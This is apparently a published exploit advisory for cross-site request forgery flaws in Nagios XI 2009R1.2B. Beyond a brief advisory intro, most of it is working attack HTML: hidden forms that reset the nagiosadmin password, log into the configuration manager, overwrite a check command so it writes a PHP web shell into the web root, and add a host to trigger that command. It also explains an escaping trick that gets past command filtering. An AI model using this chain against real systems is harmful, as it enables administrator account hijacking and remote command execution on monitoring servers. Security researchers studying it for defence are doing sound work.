Nagios XI - Multiple Cross-Site Request Forgery Vulnerabilities










Nagios XI is prone to multiple cross-site request-forgery vulnerabilities because the application fails to properly validate HTTP requests.

Successful exploit requires that the 'nagiosadmin' be logged into the web interface.

Attackers can exploit these issues to gain unauthorized access to the affected application and perform certain administrative actions.

Nagios XI 2009R1.2B is vulnerable; other versions may also be affected. 

Reset the nagiosadmin password via CSRF

This can be useful to hijack the administrators account.
<input type='button' id='adminpassword' value='Set nagiosadmin Password'/>
<form name="adminpasswordform"
    method="POST" target="hidden" class="invisible">
    <input type="input" name="defaultDateFormat" value="1" />
    <input type="input" name="defaultLanguage" value="en" />
    <input type="input" name="defaultNumberFormat" value="1" />
    <input type="input" name="defaultTheme" value="none" />
    <input type="input" name="email" value="" />
    <input type="input" name="name" value="Nagios Administrator" />
    <input type="input" name="password1" value="letmein1" />
    <input type="input" name="password2" value="letmein1" />
    <input type="input" name="update" value="1" />

Reset the configuration manager password

The attacker just has the victim visit the following URL. Even if the
nagios admin is not logged into the configuration admin, the attacker can…

1. Force a password reset of the configuration manager
2. Log the nagiosadmin into the configuration manager
3. Create a simple web shell on the nagios server.

Log into the configuration manager with previously set password

<input type='button' id='login' value='Login to Config Manager' />
<form name='loginform' action=""
method="POST" target="hidden" class="invisible">
<input type="input" name="Submit" value="Login"/>
<input type="input" name="tfPassword" value="letmein1"/>
<input type="input" name="tfUsername" value="nagiosadmin"/>

Modify nagios command to create a webshell when run

Note the \ before the ; in our php code is what makes this possible.
Normally Nagios would not allow for a ; to be input into the command
string unless escaped. PHP will happily still execute this code despite
the \ being there.

<input type='button' id='modifycmd' value='Create Web Shell Command' />
<form name='modifycmdform'
    method="POST" target="hidden" class="invisible">
    <input type="input" name="chbActive" value="1"/>
    <input type="input" name="hidActive" value=""/>
    <input type="input" name="hidId" value="3"/>
    <input type="input" name="hidLimit" value="0"/>
    <input type="input" name="modus" value="modify"/>
    <input type="input" name="selCommandType" value="1"/>
    <input type="input" name="tfCommand"
        value='/bin/echo "<pre><?php echo system(\$$_GET[\"c\"])\; ?>
        </pre>" > /usr/local/nagiosxi/html/cmd.php' />
    <input type="input" name="tfName" value="check-host-alive"/>

Add a Host to make sure our command is triggered, and the web shell created.

Yes this is a long and boring form…

<form name='addhostform' action=''
    method='POST' target='hidden' class='invisible'>
    <input type="input" name="chbActive" value="1"/>
    <input type="input" name="hidActive" value=""/>
    <input type="input" name="hidId" value=""/>
    <input type="input" name="hidLimit" value="0"/>
    <input type="input" name="hidName" value=""/>
    <input type="input" name="modus" value="insert"/>
    <input type="input" name="radActiveChecksEnabled" value="2"/>
    <input type="input" name="radContactGroups" value="1"/>
    <input type="input" name="radContacts" value="1"/>
    <input type="input" name="radEventEnable" value="2"/>
    <input type="input" name="radFlapEnable" value="2"/>
    <input type="input" name="radFreshness" value="2"/>
    <input type="input" name="radHostGroups" value="2"/>
    <input type="input" name="radNoStatusInfos" value="2"/>
    <input type="input" name="radNotifEnabled" value="2"/>
    <input type="input" name="radObsess" value="2"/>
    <input type="input" name="radParent" value="2"/>
    <input type="input" name="radPassiveChecksEnabled" value="2"/>
    <input type="input" name="radPerfData" value="2"/>
    <input type="input" name="radStatusInfos" value="2"/>
    <input type="input" name="selCheckPeriod" value="0"/>
    <input type="input" name="selEventHandler" value="0"/>
    <!-- Command we overwrote -->
    <input type="input" name="selHostCommand" value="3"/>
    <input type="input" name="selNotifPeriod" value="3"/>
    <input type="input" name="selTemplate" value="2::1"/>
    <input type="input" name="tfActionURL" value=""/>
    <input type="input" name="tfAddress" value=""/>
    <input type="input" name="tfArg1" value=""/>
    <input type="input" name="tfArg2" value=""/>
    <input type="input" name="tfArg3" value=""/>
    <input type="input" name="tfArg4" value=""/>
    <input type="input" name="tfArg5" value=""/>
    <input type="input" name="tfArg6" value=""/>
    <input type="input" name="tfArg7" value=""/>
    <input type="input" name="tfArg8" value=""/>
    <input type="input" name="tfCheckInterval" value=""/>
    <input type="input" name="tfD2Coords" value=""/>
    <input type="input" name="tfD3Coords" value=""/>
    <input type="input" name="tfDisplay" value=""/>
    <input type="input" name="tfFirstNotifDelay" value=""/>
    <input type="input" name="tfFreshTreshold" value=""/>
    <input type="input" name="tfFriendly" value="testpwn"/>
    <input type="input" name="tfGenericName" value=""/>
    <input type="input" name="tfHighFlat" value=""/>
    <input type="input" name="tfIconImage" value=""/>
    <input type="input" name="tfIconImageAlt" value=""/>
    <input type="input" name="tfLowFlat" value=""/>
    <input type="input" name="tfMaxCheckAttempts" value="5"/>
    <input type="input" name="tfName" value="testpwn"/>
    <input type="input" name="tfNotes" value=""/>
    <input type="input" name="tfNotesURL" value=""/>
    <input type="input" name="tfNotifInterval" value="0"/>
    <input type="input" name="tfRetryInterval" value=""/>
    <input type="input" name="tfStatusImage" value=""/>
    <input type="input" name="tfVmrlImage" value=""/>
    <input type="input" name="txtVariablename" value=""/>
    <input type="input" name="txtVariablevalue" value=""/>